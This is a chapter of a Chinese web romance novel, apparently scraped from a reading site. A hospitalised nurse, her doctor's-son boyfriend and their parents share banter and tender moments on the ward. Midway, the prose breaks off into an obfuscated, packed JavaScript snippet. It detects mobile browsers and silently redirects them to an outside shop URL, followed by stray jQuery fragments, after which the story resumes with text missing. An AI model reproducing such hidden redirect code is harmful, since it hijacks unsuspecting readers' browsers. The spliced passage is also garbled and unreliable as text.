52. 第 52 章

作品:《相亲遇到前患者后

    任谁也不会想到双方家长第一次见面,是在医院病房里,涂夏父母能屈能伸不停地对赵父说“谢谢”。


    不论赵母态度怎么样,赵父还是很满意涂夏这个未来儿媳妇的,姑娘性格好会来事儿,能降住自家这个满身尖刺的儿子。


    他刚从其他科室过来,身上还穿着白大褂,一身儒雅气质,摆手说:“咱们两家这关系说‘谢谢’就太客气了,孩子没事儿就行。”他顿了顿,“我都打好招呼了,你们也别太焦心上火,要有什么事就跟聿明说。”


    “好好好,麻烦您了。等夏夏出院了,找个机会我准备点酒菜,您到我家里喝点,一是感谢,二是聊聊俩孩子的事儿。”


    赵父笑呵呵地点头:“行,小涂上次就夸您做菜好吃,我也借孩子们的光去蹭顿饭。”


    涂爸说:“说啥蹭饭啊,多见外,您天天来吃都行。”


    “那感情好。”赵父看着时间也不早了,科里还有一堆事要忙,接着说了几句客套话就走了。赵聿明跟上去送他,他还悄声叮嘱说好好表现。


    涂夏禁食禁水不能吃一点东西,她以前总觉得医院餐厅的病号饭色香味全无,而现在她只想问收回这句话迟不迟。她爸妈躲出去了,只剩下赵聿明在这里,他一上午喝了好几杯水,估计饿的够呛。


    “你去外面吃点饭吧。”涂夏忧心忡忡地说。


    “我不饿。”


    “你肚子叫的我都听见了。”


    “……”赵聿明面不改色:“你听错了,明明是你的肚子在叫。”


    涂夏呵呵一笑:“你以为我耳聋吗?频率都不一样。”


    赵聿明掏出手机看了眼时间,刚十二点半,他想等涂爸涂妈来了再走,毕竟药没输完这里离不开人。


    涂夏捧着水杯润了润干涸的嘴皮,目光钉在赵聿明脸上。他两天没休息了,家里医院两边跑,各种操心,她决定以后对他好一点。


    “你想吃什么?我给你点个外卖。”


    “不用,外卖不干净。”赵聿明抬眸看她,教育的话欲言又止,她这次生病自己也有责任,要是他能及时劝说就不至于这样。


    涂夏知道他想表达什么,讪讪地摸了摸鼻尖,心虚道:“那等我爸妈回来你再去吃饭,不过晚上你回家住吧,好好睡一觉,再说后天不是要开学了嘛,调整好状态。”


    赵聿明不假思索地说:“我明天再回家补觉也一样,我虽然年龄过三十了,但身体还是很年轻的,这点你也清楚。”


    “……”我清楚你个大头鬼啊。


    “随你吧。”涂夏蹙眉,“你去找护士多要一床被子,吃完饭就在外面沙发上补补觉。”这间病房是个套房,进门左手边是客厅,沙发电视一件不少。右手边是厨房,可以在里面做饭,但住院呢,谁有那个心情。独立卫浴在里面,可惜她不能体验一下VIP病房的淋浴间。


    赵聿明“嗯”一声,起身出去了。


    涂爸涂妈从外面回来刚好和他错过,涂爸手里提着一个打包袋,上面是家面馆的logo,涂妈见病房里只有涂夏自己在,问:“小赵呢?”


    “去护士站了。”


    “啊?我们刚从护士站路过,没见人啊?”


    “那可能跟着护士去拿被子了。”


    “这样啊。”涂妈顿了几秒,边解羽绒服的按扣边说,“一会儿让小赵回去吧,这孩子都熬两天了,再铁打的人也遭不住啊。”


    涂夏烦躁地哎呀了一声。


    涂妈神色紧张地问:“咋了姑娘,手背疼啊?”


    “不是。”涂夏说,“就你刚才说的事儿,我跟他说了,但他不听我的。”


    “你再劝劝。”


    “没用,你跟我爸回去吧,等明天再来替他。”涂夏建议道。


    涂妈说:“这哪行啊?”


    涂夏说:“没事儿,我检查都做完了,没什么要忙的了,有沙发有折叠床他哪里都能睡。”她又想起赵聿明刚才说的那些话,哼声笑笑,“别看他三十好几,人经常健身身体好着呢。”


    “你俩就活冤家。”涂妈撇嘴。


    “那没办法,我说这命运啊……”


    赵聿明推门进来,面面相觑的瞬间,涂夏心虚噤声。


    涂爸招呼他说:“小赵,我给你带了面,你赶紧吃,一会儿坨了。”


    “好。”赵聿明笑了笑,“谢谢叔叔。”


    “客气什么,你帮我们照顾夏夏,该我们谢谢你。”


    赵聿明说:“照顾夏夏是我应该做的,毕竟她是我女朋友。”


    涂爸尴尬地笑笑,他挠了挠头顶找话道:“那什么你赶紧吃,我看药输完了,我去喊护士拔针。”


    “嗯。”


    那碗面实在香,刚打开盖子,一股鲜甜的味道钻进涂夏的鼻腔,她眼巴巴地看他挑起裹满汤汁的面条往嘴里送。


    残忍,实在残忍。


    赵聿明从余光里看她,望眼欲穿的样子实在逗人。端起面碗,送到涂夏眼前,只见她的眼睛倏地亮了起来,赵聿明问:“想吃吗?”


    “我不可以吃吧?”


    “你还真敢惦记。”


    艹,涂夏在心里骂他,“你给我等着。”


    “好。”赵聿明把手收了回来,低头往汤面上吹了吹气,把上面一层漂浮的油吹开,拿起一次性汤勺盛了一勺,刚抬手又落下去,倒掉一半,只剩下勺底薄薄的一点。


    涂夏看着递到嘴边的面汤,半信半疑地张口,就一点,只够润个口腔的。‘


    “趁人病要人命。”


    话刚脱口,她脑门就落了一巴掌,涂妈似笑非笑:“说什么呢?我跟你爸出去吃就为了躲你,人小赵是受不了你撒娇,才给你分一勺。”


    “啊!”涂夏压着嗓子叫一声,像唐老鸭一样。


    护士进来给涂夏拔针,撞见这一幕只抿嘴笑,赵主任操心儿子人生大事,恨不得在医院工作群里发布招婚启事,许久不提原来是儿子脱单了。


    郎才女貌实在般配。


    下午两点多,涂浩给涂妈打了个电话,上来就问他姐怎么样了,还问住哪个科室,他要过来探视。


    涂夏说:“别让他过来添乱了,他不来我还能早点出院。”


    电话开的免提,涂夏的话那边听得清清楚楚,涂浩尖吼一声:“涂夏你没有心!”


    涂妈一脸嫌弃地挂断电话,说:“你好好休息,我跟你爸回家了,等明天再过来。欸对了,明天是不是就能吃点米汤米粥了?”


    涂夏点点头,然后哀求说:“我想吃蜜枣,让我爸往粥里加点呗。”


    “我问问护士能不能吃。”涂妈很是敷衍地回了一句。


    “能吃!”涂夏急了,“我就是护士,我说能吃就是能吃。”


    涂妈哈哈大笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936107|190433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你?我不信。”


    涂夏又把目光转向涂爸,涂爸唰地看向窗外,没话找话:“嗯!今天这天儿真不错啊,大太阳的,咱回家晒晒被子。”


    “……”


    赵聿明笑着说:“叔叔阿姨,我送你们下楼吧。”


    涂妈摆手:“不用,你陪着她吧,别让她偷吃东西,她虽然遵循医嘱不往肚子里咽,但她会嚼一嚼吐出来。”


    涂夏呵呵地笑:“我小时候干的事儿,现在就没必要提了吧。”


    涂妈抿嘴一笑:“这叫前科。”


    “呵呵。”


    怪不得她妈连袋水果也不给买呢。


    很快病房里只剩下他们两个,涂夏虎视眈眈地盯着赵聿明,这男人讨好长辈的话真是一套又一套,她朝他勾了勾手指。


    赵聿明疑惑地朝她靠近。


    “再过来一点。”涂夏伸长胳膊,把手落在赵聿明后颈,赵聿明被迫塌腰盯上她的眼睛,涂夏吻了吻他的嘴角。


    赵聿明心里乐开了话。


    “我问你,你找你爸帮忙找病房办转院,不单是因为那对小情侣吧。”


    “嗯哼。”


    “我就知道。”涂夏松开手,“你心机太重了。”


    赵聿明弯下腰,双手撑在她腿侧,穷追不舍地舔舐她的唇瓣。涂夏两只手落在他厚实的胸膛上,他的皮肤很烫,搁着衣服都能摸到的烫。这要不是在医院,恐怕他已经开始脱衣服了。


    病房外有保洁推着清扫车经过,涂夏担心被人看见,干脆利落地将赵聿明推开,她提醒说:“这里是医院,你要发情回家发去。”


    赵聿明抿唇回味刚才的柔软,他笑着说:“我觉得我满血复活了。”


    “……我是血包吗?”


    “不解风情。”


    “呵。服了。”养精蓄锐三十年的男人,喂不饱啊。


    赵聿明又道:“晚上我不睡沙发,也不睡陪护床。”


    涂夏知道他心里想的什么,但还是想逗逗他:“那我给你订酒店。”


    “酒店就别了,我看这里就很好,一晚上八九百呢。”


    “啊?这么贵!”涂夏玩笑道:“那我能不能去住酒店啊,我觉得酒店更划算一点。”


    赵聿明无语:“你觉得呢。”


    涂夏笑笑:“我觉得你的想法不行,这张床睡不开两个人。”


    “试了吗?”


    “还用试吗?”


    “我记得那对小情侣晚上就在一张床上睡的。”


    涂夏皱眉:“你还留意他们这些?”


    赵聿明叹了口气:“谁让他们腻歪得旁若无人呢?你睡着了不知道,我是唯一的受害者。”


    尽管涂夏再三拒绝,赵聿明还是和她躺在了一张床上,涂夏有半边身体压在了他身上,这姿势两人再熟悉不过。


    睡前赵聿明想锁门的,但涂夏严肃地拒绝了,一是医院本来就不让锁门,二是人人都知道他们是什么关系,锁门免不得要让人联想些有的没的。


    太社死了。


    涂夏手背上还留着针,防止压到就搭在赵聿明胸口,赵聿明作怪非要把涂夏的手放在他衣服里。


    涂夏的手向来不老实,这纯纯的放虎归山,她倒也雨露均沾,摸过来一个遍,赵聿明扛不住就掐她的腰,力道不大,只是痒。


    “好了好了。咱俩打平了。”